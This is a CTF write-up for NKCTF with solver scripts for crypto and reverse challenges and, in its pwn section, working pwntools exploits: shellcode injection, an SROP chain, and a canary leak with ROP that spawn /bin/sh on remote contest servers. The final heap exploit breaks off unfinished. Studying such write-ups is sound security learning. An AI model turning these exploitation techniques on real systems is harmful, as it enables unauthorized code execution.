学习https://hash-hash.github.io/2022/11/27/HITCON2022-Crypto/后

构造格求解参数,最后求解出key即可恢复flag

import libnum, gmpy2
from Crypto.Cipher import AES

p = 1018551160851728231474335384388576586031917743463656622083024684199383855595168341728561337234276243780407755294430553694832049089534855113774546001494743212076463713621965520780122783825100696968959866614846174188401153
pairs = [(615358616404864757405587650175842125441380884418119777842292095751090237848084440177153221092040264723889917863863854377665802549748720692225139890884830475485512763149974948701807492663962748292710803434009673589337265, 84982753624462868217739962129526665082932464631118597651920986288766037499319751354013335054886685186857222944776560264528363811382359242656883760986496856164448940929282013856762706210675691655747370624405968909408102), (528363810186974800127873139379943131424126521611531830591311656948009967709310974894584084912262479395720199930206495204352231804549705720854271566421006481173043064265399467682307971910488405265826107365679757755866812, 496810092723839642457928776423789418365006215801711874210443222720529161066621876103037104247173440072986344011599384793861949574577559989016501090247331146721371126871470611440468688947950954988175225633457347666551944), (68711183101845981499596464753252121346970486988311398916877579778110690480447199642602267233989256728822535174215153145632158860662954277116345331672194812126361911061449082917955000137698138358926301360506687271134873, 995428771589393162202488762223106955302099250561593105620410424291405842350539887383005328242236156038373244928147473800972534658018117705291472213770335998508454938607290279268848513727721410314612261163489156360908800), (61574167546312883246262193556029081771904529137922128124933785599227801608271357738142074310192454183183340219301304405636497744152219785042075198056952749425345561162612590170550454476602892138914473795478531165181812, 618169326093802548516842299173393893046765466917311052414967158839652012130855552015876657514610755108820971877570295328618373296493668146691687291894702228119875561585283226588768969944781923428807766632578060221034862)]
ct = b"|2\xf0v7\x05Y\x89\r]\xe93s\rr)#3\xe9\x90%Z\x9a\xd9\x9ck\xba\xec]q\xb8\xf2'\xc8e~fL\xcf\x93\x00\xd6^s-\xc9\xd6M"

L=Matrix(ZZ,12,12)
for i in range(7):
    L[i,i]=1
    
for i in range(4):
    for j in range(7):
        L[j,8+i]=pairs[i][0]^(j)

tmp = 2^256

L[7,7]=tmp
for i in range(4):
    L[7,i+8]=-pairs[i][1]
    L[8+i,8+i]=p
L = L.LLL()[1]
a = int(gmpy2.iroot(abs(L[6]), 2)[0])
b = abs(L[5])//(2*a)
c = (abs(L[4])-b^2)//(2*a)
d = abs(L[1])//(2*c)
key = libnum.n2s(int(d))
cipher = AES.new(key=key, IV=bytes(range(16)), mode=AES.MODE_CBC)
print(cipher.decrypt(ct))
# nkctf{..escape..}

easy_high

通过p0能得到p高位以及p低444位数据,设p中间位,coppersmith求解后rsa解密得到flag

import libnum, gmpy2

e = 65537
c= 4881545863615247924697512170011400857004555681758106351259776881249360423774694437921554056529064037535796844084045263140567168171628832384672612945806728465127954937293787045302307135365408938448006548465000663247116917564500525499976139556325841597810084111303039525833367199565266613007333465332710833102978756654324956219855687611590278570749890543277201538208370370097424105751568285050703167350889953331829275262932104042040526209179357770495596739361176548337593674366015027648541293309465113202672923556991818236011769228078267484362980348613669012975963468592763463397575879215173972436831753615524193609612
N= 17192509201635459965397076685948071839556595198733884616568925970608227408244870123644193452116734188924766414178232653941867668088060274364830452998991993756231372252367134508712447410029668020439498980619263308413952840568602285764163331028384281840387206878673090608323292785024372223569438874557728414737773416206032540038861064700108597448191546413236875600906013508022023794395360001242071569785940215873854748631691555516626235191098174739613181230094797844414203694879874212340812119576042962565179579136753839946922829803044355134086779223242080575811804564731938746051591474236147749401914216734714709281349
p0= 149263925308155304734002881595820602641174737629551638146384199378753884153459661375931646716325020758837194837271581361322079811468970876532640273110966545339040194118880506352109559900553776706613338890047890747811129988585025948270181264314668772556874718178868209009192010129918138140332707080927643141811
flag_len = 400
p_high =(p0>>(flag_len+444))<<400+444

p_low = p0%(2^444)
PR.<x> = PolynomialRing(Zmod(N))
f = p_high+x*2^444+p_low
f = f.monic()
x = f.small_roots(X=2^flag_len, beta=0.4)
print(x)
p = int(p_high+x[0]*2^444+p_low)
q = N//p
print(p)
print(q)

d = int(gmpy2.invert(e, (p-1)*(q-1)))
m = int(pow(c, d, N))
print(libnum.n2s(m))
# NKCTF{F10wrs_hVe_r3strDay}

eZ_LargeCG

原题,参考https://blog.csdn.net/m0_51507437/article/details/124205732,改参数即解

  1. p-1/p+1光滑分解n
  2. 矩阵快速幂
import libnum
"""
from gmpy2 import *
from primefac import *
n1 = 39755206609675677517559022219519767646524455449142889144073217274247893104711318356648198334858966762944109142752432641040037415587397244438634301062818169
n2 = 30725253491966558227957591684441310073288683324213439179377278006583428660031769862224980605664642101191616868994066039054762100886678504154619135365646221


N = n1
a = 2
n = 2
while True:
    a = powmod(a, n, N)
    res = gcd(a-1, N)
    if res != 1 and res != N:
        q1 = N // res
        p1 = res
        print(p1)
        print(q1)
        break
    n += 1

def mlucas(v, a, n):
    """ Helper function for williams_pp1().  Multiplies along a Lucas sequence modulo n. """
    v1, v2 = v, (v**2 - 2) % n
    for bit in bin(a)[3:]: v1, v2 = ((v1**2 - 2) % n, (v1*v2 - v) % n) if bit == "0" else ((v1*v2 - v) % n, (v2**2 - 2) % n)
    return v1
n = n2
for v in count(1):
    for p in primegen():
        e = ilog(isqrt(n), p)
        if e == 0: break
        for _ in range(e): v = mlucas(v, p, n)
        g = gcd(v-2, n)
        if 1 < g < n:
            p2 = g
            q2 = n2//p2
            print(p2)
            print(q2)
            exit(0)
        if g == n: break
"""


x = 6085327340671394838391386566774092636784105046872311226269065664501131836034666722102264842236327898770287752026397099940098916322051606027565395747098434
y = 1385551782355619987198268805270109182589006873371541520953112424858566073422289235930944613836387546298080386848159955053303343649615385527645536504580787
z = 2529291156468264643335767070801583140819639532551726975314270127875306069067016825677707064451364791677536138503947465612206191051563106705150921639560469

# def gen(st, n, a, b, c, d):
# A = gen(bytes_to_long(flag), r, p1, q1, p2, q2)
n1 = 39755206609675677517559022219519767646524455449142889144073217274247893104711318356648198334858966762944109142752432641040037415587397244438634301062818169
n2 = 30725253491966558227957591684441310073288683324213439179377278006583428660031769862224980605664642101191616868994066039054762100886678504154619135365646221
p1 = 427721675251610827084310512123962488210068003845592404231631542730839819224381
q1 = 92946439027877993602295703905130336736159270745389239059083263513478865293549
p2 = 288551157776490110472645044398395422160196115791981535735903775378294599329633
q2 = n2//p2
r = 7948275435515074902473978567170931671982245044864706132834233483354166398627204583162848756424199888842910697874390403881343013872330344844971750121043493

if p1 > q1:
    p1, q1 = q1, p1
    
if p2 > q2:
    p2, q2 = q2, p2
a = p1
b = q1
c = p2
d =q2
mt=matrix(Zmod(r),4,4)
mt[0]=[c,b,a,d]
mt[1]=[1,0,0,0]
mt[2]=[0,1,0,0]
mt[3]=[0,0,0,1]

mn=matrix(Zmod(r),4,1,[z,y,x,1])
# 6**666
X=(mt^(pow(6,666))).solve_right(mn)
flag = X[2][0]-2023
print(libnum.n2s(int(flag)))
# NKCTF{y0u_kN0w_r5A_&_LCg_&_Ma7r1X_s0_w3ll!!!}

complex_matrix

西湖论剑2021原题,参考https://www.ctfer.vip/note/set/51,求得phi即可rsa解密得到flag

import gmpy2
import libnum
isdigit = lambda x: ord('0') <= ord(x) <= ord('9')

def my_permutations(g, n):
    sub = []
    res = []
    def dfs(s, prev):
        if len(s) == n:
            res.append(s[::])
        for i in g:
            if i in s or i < prev:
                continue
            s.append(i)
            dfs(s, max(prev, i))
            s.remove(i)
    dfs(sub, 0)
    return res

class X3NNY(object):
    def __init__(self, exp1, exp2):
        self.exp1 = exp1
        self.exp2 = exp2
    
    def __mul__(self, b):
        return X3NNY(self.exp1 * b.exp1, self.exp2 * b.exp2)

    def __repr__(self):
        return '%s = %s' % (self.exp1.expand().collect_common_factors(), self.exp2)

class X_Complex(object):
    def __init__(self, exp):
        i = 0
        s = '%s' % exp
        while i < len(s):
            if isdigit(s[i]):
                num = 0
                while i < len(s) and isdigit(s[i]):
                    num = num*10 + int(s[i])
                    i += 1
                if i >= len(s):
                    self.b = num
                elif s[i] == '*':
                    self.a = num
                    i += 2
                elif s[i] == '/':
                    i += 1
                    r = 0
                    while i < len(s) and isdigit(s[i]):
                        r = r*10 + int(s[i])
                        i += 1
                    self.b = num/r
            else:
                i += 1
        if not hasattr(self, 'a'):
            self.a = 1
        if not hasattr(self, 'b'):
            self.b = 0

def WW(e, d, k, g, N, s):
    return X3NNY(e*d*g-k*N, g+k*s)
def GG(e1, e2, d1, d2, k1, k2):
    return X3NNY(e1*d1*k2- e2*d2*k1, k2 - k1)

def W(i):
    e = eval("e%d" % i)
    d = eval("d%d" % i)
    k = eval("k%d" % i)
    return WW(e, d, k, g, N, s)

def G(i, j):
    e1 = eval("e%d" % i)
    d1 = eval("d%d" % i)
    k1 = eval("k%d" % i)
    
    e2 = eval("e%d" % j)
    d2 = eval("d%d" % j)
    k2 = eval("k%d" % j)
    
    return GG(e1, e2, d1, d2, k1, k2)

def R(e, sn): # min u max v
    ret = X3NNY(1, 1)
    n = max(e)
    nn = len(e)
    l = set(i for i in range(1, n+1))
    debug = ''
    u, v = 0, 0
    for i in e:
        if i == 1:
            ret *= W(1)
            debug += 'W(%d)' % i
            nn -= 1
            l.remove(1)
            u += 1
        elif i > min(l) and len(l) >= 2*nn:
            ret *= G(min(l), i)
            nn -= 1
            debug += 'G(%d, %d)' % (min(l), i)
            l.remove(min(l))
            l.remove(i)
            v += 1
        else:
            ret *= W(i)
            l.remove(i)
            debug += 'W(%d)' % i
            nn -= 1
            u += 1
    # print(debug, end = ' ')
    return ret, u/2 + (sn - v) * a

def H(n):
    if n == 0:
        return [0]
    if n == 2:
        return [(), (1,), (2,), (1, 2)]
    ret = []
    for i in range(3, n+1):
        ret.append((i,))
        for j in range(1, i):
            for k in my_permutations(range(1, i), j):
                ret.append(tuple(k + [i]))
    return H(2) + ret
    
def CC(exp, n):
    cols = [0 for i in range(1<<n)]
    
    # split exp
    texps = ('%s' % exp.exp1.expand()).strip().split(' - ')
    ops = []
    exps = []
    for i in range(len(texps)):
        if texps[i].find(' + ') != -1:
            tmp = texps[i].split(' + ')
            ops.append(0)
            exps.append(tmp[0])
            for i in range(1, len(tmp)):
                ops.append(1)
                exps.append(tmp[i])
        else:
            ops.append(0)
            exps.append(texps[i])
    if exps[0][0] == '-':
        for i in range(len(exps)):
            ops[i] = 1-ops[i]
        exps[0] = exps[0][1:]
    else:
        ops[0] = 1
    # find e and N
    l = []
    for i in range(len(exps)):
        tmp = 1 if ops[i] else -1
        en = []
        j = 0
        while j < len(exps[i]):
            if exps[i][j] == 'e':
                num = 0
                j += 1
                while isdigit(exps[i][j]):
                    num = num*10 + int(exps[i][j])
                    j += 1
                tmp *= eval('e%d' % num)
                en.append(num)
            elif exps[i][j] == 'N':
                j += 1
                num = 0
                if exps[i][j] == '^':
                    j += 1
                    while isdigit(exps[i][j]):
                        num = num*10 + int(exps[i][j])
                        j += 1
                if num == 0:
                    num = 1
                tmp *= eval('N**%d' % num)
            else:
                j += 1
        if tmp == 1 or tmp == -1:
            l.append((0, ()))
        else:
            l.append((tmp, tuple(sorted(en))))
    
    # construct h
    mp = H(n)
    for val, en in l:
        cols[mp.index(en)] = val
    # print(cols)
    return cols

def EWA(n, elist, NN, alpha):
    mp = H(n)
    var('a')
    S = [X_Complex(n*a)]
    cols = [[1 if i == 0 else 0 for i in range(2^n)]]
    for i in mp[1:]:
        eL, s = R(i, n)
        cols.append(CC(eL, n))
        S.append(X_Complex(s))
    
    alphaA,alphaB = 0, 0
    for i in S:
        alphaA = max(i.a, alphaA)
        alphaB = max(i.b, alphaB)
    # print(alphaA, alphaB)
    D = []
    for i in range(len(S)):
        # print((alphaA-S[i].a), (alphaB - S[i].b))
        D.append(
            int(NN^((alphaA-S[i].a)*alpha + (alphaB - S[i].b)))
        )
    kw = {'N': NN}
    for i in range(len(elist)):
        kw['e%d' % (i+1)] = elist[i]

    B = Matrix(ZZ, Matrix(cols).T(**kw)) * diagonal_matrix(ZZ, D)
    L = B.LLL(0.5)
    v = Matrix(ZZ, L[0])
    x = v * B**(-1)
    phi = int(x[0,1]/x[0,0]*elist[0])
    return phi

def attack(NN, elist, alpha):
    phi = EWA(len(elist), elist, NN, alpha)
    print(phi)
    return phi


NN = 71841248095369087024928175623295380241516644434969868335504061065977014103487197287619667598363486210886674500469383623511906399909335989202774281795855975972913438448899231650449810696539722877903606541112937729384851506921675290984316325565141178015123381439392534417225128922398194700511937668809140024838070124095703585627058463137549632965723304713166804084673075651182998654091113119667582720831809458721072371364839503563819080226784026253
elist = [65128799196671634905309494529154568614228788035735808211836905142007976099865571126946706559109393187772126407982007858423859147772762638898854472065889939549916077695303157760259717113616428849798058080633047516455513870697383339784816006154279428812359241282979297285283850338964993773227397528608557211742425548651971558377656644211835094019462699301650412862894391885325969143805924684662849869947172175608502179438901337558870349697233790535, 58756559706647121529575085912021603170286163639572075337348109911506627489265537716060463072086480156516641723700802217411122982693536541892986623158818442274840863016647800896033363360822503445344748132842451806511693779600370832206455202293028402486647422212959763287987847280322100701242139127654031151565924132562837893975505159702015125483479126108892709063135006366792197127007229210558758401679638300464111782814561428899998471531067163715, 34828685390969672139784723764579499920301439564705391196519314224159563070870933754477650614819514127121146216049444888554338415587165719098661141454627820126445291802801256297252654045398330613075575527685542980264993711077876535643646746742646371967302159565887123638001580042027272379341650995728849759541960087953160211696369079708787543303742132161742979856720539914370868829868891655221361545648778590685232034703220732697083024449894197969, 26717968456600556973167180286909817773394160817933525240720067057464671317174201540556176814203780603153696663101158205367554829261808020426363683474848952397963507069306452835776851274959389849223566030857588019845781623271395012194869024566879791449466064832273531795430185178486425688475688634844530106740480643866537205900809400383304665727460014210405339697947582657505028211149470787536144302545259243549176816653560626044921521516818788487]
c = 39297018404565022956251803918747154798377576057123078716166221329195959669756819453426741569480551313085435037629493881038383709458043802420338889323233368852331387845200216275712388921820794980987541224782392553528127093154957890356084331463340193478391679540506421250562554424770350351514435220782124981277580072039637811543914983033300225131364246910828188727043248991987332274929827173923543187017105236008487756190002204169623313222748976369
alpha = 400 / int(NN).bit_length()
for i in range(1, len(elist)+1):
    var("e%d" % i)
    var("d%d" % i)
    var("k%d" % i)
g, N, s = var('g'), var('N'), var('s')

for i in range(len(elist)):
    elist[i] = Integer(elist[i])
phi = attack(NN, elist, alpha)

d = gmpy2.invert(65537, phi)
m = int(pow(c, d, NN))
print(libnum.n2s(m))
# NKCTF{F10w3r_Hav3_r3start_Day_N0_Man_iS_Y0ung_Aga1n}

baby_classical

矩阵逆运算(chatgpt写的)恢复key,然后再恢复flag

import string
import numpy as np

dic = string.ascii_uppercase + string.ascii_lowercase + string.digits + '+/'
f1nd = lambda x: dic.find(x)


class KeyEncryption:
    def __init__(self, m: int, fillchar: str = "z", key: np.ndarray = None):
        self.m = m
        self.key = key
        self.dicn2s = {i: dic[i] for i in range(64)}
        print("self.dicn2s =", self.dicn2s)
        self.dics2n = dict(zip(self.dicn2s.values(), self.dicn2s.keys()))
        print("self.dics2n =", self.dics2n)
        self.fillchar = self.dics2n[fillchar]
        print("fillchar =", self.fillchar)

    def setM(self, m: int) -> None:
        assert m > 0
        self.m = m

    def setKey(self, key: np.ndarray = None) -> None:
        if key is None:
            while key is None or KeyEncryption.modInv(np.linalg.det(key)) == -1:
                key = np.random.randint(0, 65, size=(self.m, self.m))
            print("random matrix:\n", key)
        else:
            assert KeyEncryption.modInv(np.linalg.det(key)) != -1
        self.key = key

    @staticmethod
    def modInv(x: int):
        y = 0
        while y < 64:
            y += 1
            if (x * y) % 64 == 1:
                return y
        return -1

    def _loopCrypt(self, long: np.ndarray, K: np.ndarray) -> np.ndarray:
        ans = np.array([])
        for i in range(long.shape[0] // self.m):
            ans = np.mod(np.hstack((
                ans,
                np.dot(long[i * self.m:i * self.m + self.m], K)
            )), 64)
        return ans.astype(np.int64)

    def encrypt(self, plaintext: np.ndarray):
        assert self.m != None and self.key is not None
        if plaintext.shape[0] % self.m:
            plaintext = np.hstack((
                plaintext,
                [self.fillchar] * (self.m - plaintext.shape[0] % self.m)
            ))
        print("plaintext", plaintext)
        return self._loopCrypt(plaintext, self.key)

    def translate(self, s, to: str):
        if to == "text":
            return "".join([self.dicn2s[si] for si in s])
        elif to == "num":
            s = s.replace(" ", "")
            return np.array([self.dics2n[si] for si in s])

    def decrypt(self, ciphertext: np.ndarray) -> str:
        self.key = np.array(  [[13,37,10],[15,17,41],[13,0,10]])
        assert self.m is not None and self.key is not None
        plaintext = ''
        inv_key = KeyEncryption.modInv(np.linalg.det(self.key)) * np.round(
            np.linalg.inv(self.key) * np.linalg.det(self.key))
        for i in range(ciphertext.shape[0] // self.m):
            tmp = np.mod(np.dot(ciphertext[i * self.m:i * self.m + self.m], inv_key), 64)
            plaintext += ''.join([self.dicn2s[int(tmp[j])] for j in range(self.m)])
        plaintext = plaintext.rstrip(self.dicn2s[self.fillchar])
        return plaintext



def getKey(key):
    he = KeyEncryption(m=3)
    he.setKey()
    nums = he.translate(key, "num")
    print("nums =", nums)

    res = he.encrypt(nums)
    print('res =', res)
    enkey = ''.join(dic[i] for i in res.tolist())
    print("res.tolist() =",  res.tolist())
    print('Encrypt key:', enkey)
    return enkey

he = KeyEncryption(m=3)
enc_key = 'pVvRe/G08rLhfwa'
enc_key = [f1nd(i) for i in enc_key]
enc_key = np.array(enc_key)
key = he.decrypt(enc_key)
print(key)
_enkey = [f1nd(i) for i in key]

c = '1k2Pe{24seBl4_a6Ot_fp7O1_eHk_Plg3EF_g/JtIonut4/}'
j = 0
tmp = {}
flag = ''
for i in c:
    if f1nd(i) >= 0:
        # tmp = (f1nd(i) + _enkey[j % len(_enkey)]) % 64
        tmp = (f1nd(i) - _enkey[j % len(_enkey)]) % 64
        flag += dic[tmp]
    else:
        flag += i
    j += 1
print(flag)

for i in flag.split('_'):
    print(i[::-1])
print('CISsALc'[::-1])

# 手动转向
flag = 'nkctf{cLAsSIC_C0DE_D0L1S_ArE_R3A1LY_INT3REsTING}'.swapcase()
print(flag)
# NKCTF{ClaSsic_c0de_d0l1s_aRe_r3a1ly_int3reSting}

Reverse

not_a_like

先把段表的段名改成UPX,然后脱壳就行了。脱完壳之后就能正常反编译python了:

  • 恢复c
  • 维纳攻击得到flag
import base64, gmpy2, libnum


def continuedFra(x, y):
    """计算连分数
    :param x: 分子
    :param y: 分母
    :return: 连分数列表
    """
    cf = []
    while y:
        cf.append(x // y)
        x, y = y, x % y
    return cf


def gradualFra(cf):
    """计算传入列表最后的渐进分数
    :param cf: 连分数列表
    :return: 该列表最后的渐近分数
    """
    numerator = 0
    denominator = 1
    for x in cf[::-1]:
        # 这里的渐进分数分子分母要分开
        numerator, denominator = denominator, x * denominator + numerator
    return numerator, denominator


def solve_pq(a, b, c):
    """使用韦达定理解出pq,x^2−(p+q)∗x+pq=0
    :param a:x^2的系数
    :param b:x的系数
    :param c:pq
    :return:p,q
    """
    par = gmpy2.isqrt(b * b - 4 * a * c)
    return (-b + par) // (2 * a), (-b - par) // (2 * a)


def getGradualFra(cf):
    """计算列表所有的渐近分数
    :param cf: 连分数列表
    :return: 该列表所有的渐近分数
    """
    gf = []
    for i in range(1, len(cf) + 1):
        gf.append(gradualFra(cf[:i]))
    return gf


def wienerAttack(e, n):
    """
    :param e:
    :param n:
    :return: 私钥d
    """
    cf = continuedFra(e, n)
    gf = getGradualFra(cf)
    for d, k in gf:
        if k == 0: continue
        if (e * d - 1) % k != 0:
            continue
        phi = (e * d - 1) // k
        p, q = solve_pq(1, n - phi + 1, n)
        if p * q == n:
            return d


c = bytearray()
pub_key = [
    19252067118061066631831653736874168743759225404757996498452383337816071866700225650384181012362739758314516273574942119597579042209488383895276825193118297972030907899188520426741919737573230050112614350868516818112742663713344658825493377512886311960823584992531185444207705213109184076273376878524090762327,
    76230002233243117494160925838103007078059987783012242668154928419914737829063294895922280964326704163760912076151634681903538211391318232043295054505369037037489356790665952040424073700340441976087746298068796807069622346676856605244662923296325332812844754859450419515772460413762564695491785275009170060931]
q = b'EeJWrgtF+5ue9MRiq7drUAFPtrLATlBZMBW2CdWHRN73Hek7DPVIYDHtMIAfTcYiEV87W7poChqpyUXYI3+/zf5yyDOyE9ARLfa5qilXggu60lmQzFqvFv+1uOaeI2hs2wx+QZtxqGZzC0VCVWvbTQ52nA2UdUtnk8VezRMPMfmf7rOqPxDTv/aacLnI3RdLG2TbT52qtN4+naejI7Xe8HLOL765OZKdDBERKwd5ARQ3UL6YPbuOKOQahIFddnIX6rZ7dTNqCUDOjfJbMdrzJVDNjmNlkLNtYFo7M65Wfwj6PV5vvtT33FsmH50/YLEasnlCiJujYOgi2KCdf5msz1dPEvrXDDL6Csnjo+6m/44RzlluzcqMS5ZJFdrHEh68LIqtu+HCO+69Dyq4e22APq8wgN9kU6R8kikXSn/Ej0N/jOvomFCbkHskRl8xP1KgWFW0SMVDlaDCM4EKG812VgDWgSYOUnVhVpz65uOtg4Z8PrPI+BW4398dQYhD24D9EIPgvtmhNrHiEHouB46ElTGQgZBhtn6y9tL1sw=='
e = pub_key[0]
n = pub_key[1]

# 恢复c
v = base64.b64decode(q)
data_xor_iv = bytearray()
sbox = []
j = 0
x = y = k = 0
key = '911dcd09ad021d68780e3efed1aa8549'
for i in range(256):
    sbox.append(i)

for i in range(256):
    j = j + sbox[i] + ord(key[(i % len(key))]) & 255
    sbox[i], sbox[j] = sbox[j], sbox[i]

for idx in v:
    x = x + 1 & 255
    y = y + sbox[x] & 255
    sbox[x], sbox[y] = sbox[y], sbox[x]
    k = sbox[(sbox[x] + sbox[y] & 255)]
    c.append(idx ^ k)
c = int(base64.b64decode(bytes(c)))


# 维纳攻击
d = wienerAttack(e, n)
m = pow(c, d, n)
print(libnum.n2s(m).decode())
# flag{chinese_zhenghan}
# NKCTF{chinese_zhenghan}

PMKF

走迷宫,手动自己走了一下

flag="1122332212232211011111010000010112110111222323303323221111122333"
res=""
fff=""
for i in range(16):
    res=""
    if flag[i*4]=="0":
        res+="00"
    if flag[i*4]=="1":
        res+="01"
    if flag[i*4]=="2":
        res+="10"
    if flag[i*4]=="3":
        res+="11"
    if flag[i*4+1]=="0":
        res+="00"
    if flag[i*4+1]=="1":
        res+="01"
    if flag[i*4+1]=="2":
        res+="10"
    if flag[i*4+1]=="3":
        res+="11"
    if flag[i*4+2]=="0":
        res+="00"
    if flag[i*4+2]=="1":
        res+="01"
    if flag[i*4+2]=="2":
        res+="10"
    if flag[i*4+2]=="3":
        res+="11"
    if flag[i*4+3]=="0":
        res+="00"
    if flag[i*4+3]=="1":
        res+="01"
    if flag[i*4+3]=="2":
        res+="10"
    if flag[i*4+3]=="3":
        res+="11"
    fff+=hex(int(res,2))
    fff+=","
print(fff)
#nkctf{056e6b6d616e4fef7eb0004415047000bea9eeb043aa}

ez_baby_apk

babyrust

出题人题目出错了,加密不是双射,不过我弄了几个flag出来之后靠着语义猜对了,懒得改 exp 了:

int find_index(char a, char* b, int c) {
    for (int i = 0; i < c; i++)
    {
        if (b[i] == a) {
            return i;
        }
    }
    return -1;
}
void main()
{
    char at[] = "LMNOPQRSTUVWXYZ;<=>?@ABCDE";//a-z
    char at2[] = "lmnopqrKLMNOPQR[\\]^_`abcde";//A-Z
    char at3[] = "K";//`    `-K    _-J
    char f[] = "QNn_qFbONZXpjQRbLDmLnVj]@^_H";
    int index = 0;
    for (int i = 0; i< 28; i++)
    {
        index = find_index(f[i], at, 26);
        if (index >= 0) {
            f[i] = 'a'+index;
            continue;
        }
        index = find_index(f[i], at2, 26);
        if (index >= 0) {
            f[i] = 'A'+index;
            continue;
        }
        f[i] = "$";
    }
    char flag[] = "fcCTF{WdcomE_fgWayBaCk_RuST}";
    for (int i = 0; i < 28; i++)
    {
        flag[i] -= 45;
        flag[i] ^= 0x30;
    }
    //QNn_qFbONZXpjQRbLDmLnVj]@^_H
    //QNn_q{bONZXp_QRbLDmLnV_]@^_}((((
    //fcCTF{WdcomE_fgWayBaCk_RuST}
}

earlier

#include<stdio.h>

void rc4_init(unsigned char* s, unsigned char* key, unsigned long Len_k)
{
    int i = 0, j = 0;
    char k[256] = { 0 };
    unsigned char tmp = 0;
    for (i = 0; i < 256; i++) {
        s[i] = i;
        k[i] = key[i % Len_k];
    }
    for (i = 0; i < 256; i++) {
        j = (j + s[i] + k[i]) % 256;
        tmp = s[i];
        s[i] = s[j];
        s[j] = tmp;
    }
}
void rc4_crypt(unsigned char* Data, unsigned long Len_D, unsigned char* key, unsigned long Len_k) //加解密
{
    unsigned char s[256];
    rc4_init(s, key, Len_k);
    int i = 0, j = 0, t = 0;
    unsigned long k = 0;
    unsigned char tmp;
    for (k = 0; k < Len_D; k++) {
        i = (i + 1) % 256;
        j = (j + s[i]) % 256;
        tmp = s[i];
        s[i] = s[j];
        s[j] = tmp;
        t = (s[i] + s[j]) % 256;
        Data[k] = Data[k] ^ s[t];
    }
}
void main()
{
    unsigned char key[] = "secret";
    unsigned long key_len = sizeof(key) - 1;
    unsigned char data[] = { 0x83,0x5d,0xb1,0x68,0xe4,0xdf,0xaf,0x96,0x47,0x94,0xda,0xae,0x96,0xb9,0x86,0x58,0xf2,0x54,0x1e,0x87,0xf5,0x96,0xb6,0x3,0x16,0x4c,6,0xb8,0xbe,0xf,0x37,0x6a,0xd8,0xa6,0x7a,0xed,0xa5,0x73,0x4a,0xbe,0x6b,0xac,0 };

    rc4_crypt(data, sizeof(data), key, key_len);
    for (int i = 0; i < sizeof(data); i++)
    {
        printf("%c", data[i]);
    }
    printf("\n");
    return;
}

pwn

ez_shellcode

nop滑行

from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './pwn'

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

context.terminal = ['tmux','splitw','-h']

debug = 1
if debug:
    r = remote('node.yuzhian.com.cn', 33492)
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)

def dbgg():
    raw_input()

dbgg()

shellcode = b'\x90' * 0x60
shellcode += asm(shellcraft.sh())

r.sendline(shellcode)

r.interactive()

ez_stack

srop

from pwn import *
from time import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './pwn'

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

context.terminal = ['tmux','splitw','-h']

debug = 1
if debug:
    r = remote('node.yuzhian.com.cn', 31413)
else:
    r = process(file_name)

#elf = ELF(file_name)

def dbg():
    gdb.attach(r)

syscall = 0x40114e
buf = 0x404040
ax = 0x401146

sigframe = SigreturnFrame()
sigframe.rax = 59
sigframe.rdi = buf
sigframe.rsi = 0
sigframe.rdx = 0
sigframe.rip = syscall

p1 = b'a' * 0x18 + p64(0x4011c8)
r.sendafter('NKCTF!\n', p1)

sleep(1)
r.send(b'/bin/sh\x00')

sleep(1)
p2 = b'a' * 0x18 + p64(ax) + p64(syscall) + flat(sigframe)
r.send(p2)

r.interactive()

baby_rop

格式化字符串泄露 canary +栈迁移 远程20.04 2.31 9.9

from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './nkctf_message_boards'

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

context.terminal = ['tmux','splitw','-h']

debug = 1
if debug:
    r = remote('node2.yuzhian.com.cn', 31811)
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)

pop_rdi_ret = 0x401413
pop_rsi_r15 = 0x401411
ret = 0x40101a
pop_rbp_ret = 0x4011bd
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
puts_addr = elf.sym['puts']

r.sendlineafter('name: ', '%41$p')

r.recvuntil(b'Hello, ')
canary = int(r.recv(18), 16)
li('canary = ' + hex(canary))

p1 = p64(ret) * 25 + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(pop_rbp_ret) + p64(0) + p64(0x4010f0) + p64(canary)

r.sendlineafter('NKCTF: \n', p1)

libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc_base = u64(r.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - libc.sym['puts']
li('libc_base = ' + hex(libc_base))

system_addr = libc.sym['system'] + libc_base
binsh = libc.search(b'/bin/sh').__next__() + libc_base

p2 = p64(ret) * 28 + p64(pop_rdi_ret) + p64(binsh) + p64(system_addr) + p64(canary)
r.sendlineafter('NKCTF: \n', p2)

r.interactive()

9961code

在一个写权限受限的环境里,题目给我们22字节的任意代码执行机会。只需要打开写权限并二次读取shellcode即可。

#!/usr/bin/python3
# -*- coding:utf-8 -*-

from pwn import *
context.clear(arch='amd64', os='linux', log_level='debug')

sh = remote('node2.yuzhian.com.cn', 31730)

sh.send(asm('''
    mov rdi, r15
    xor eax, eax
    cdq
    mov al, 10
    mov dl, 7
    syscall
    xor eax, eax
    mov esi, edi
    mov edi, eax
    mov dl, 0x7f
    syscall
'''))

sh.send(b'\x90' * 0x16 + asm('''
    mov rsp, rsi
    add rsp, 0x1000

    xor rsi, rsi
    mul rsi

    push rax
    mov rbx, 0x68732f2f6e69622f
    push rbx

    mov rdi, rsp
    mov al, 59

    syscall
'''))

sh.interactive()

baby_heap

2.32下的off-by-one

from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './pwn'

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

context.terminal = ['tmux','splitw','-h']

debug = 1
if debug:
    r = remote('node.yuzhian.com.cn', 32892)
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)

def dbgg():
    raw_input()

menu = 'Your choice: '

def add(index, size):
    r.sendlineafter(menu, '1')
    r.sendlineafter('Enter the index: ', str(index))
    r.sendlineafter('Enter the Size: ', str(size))
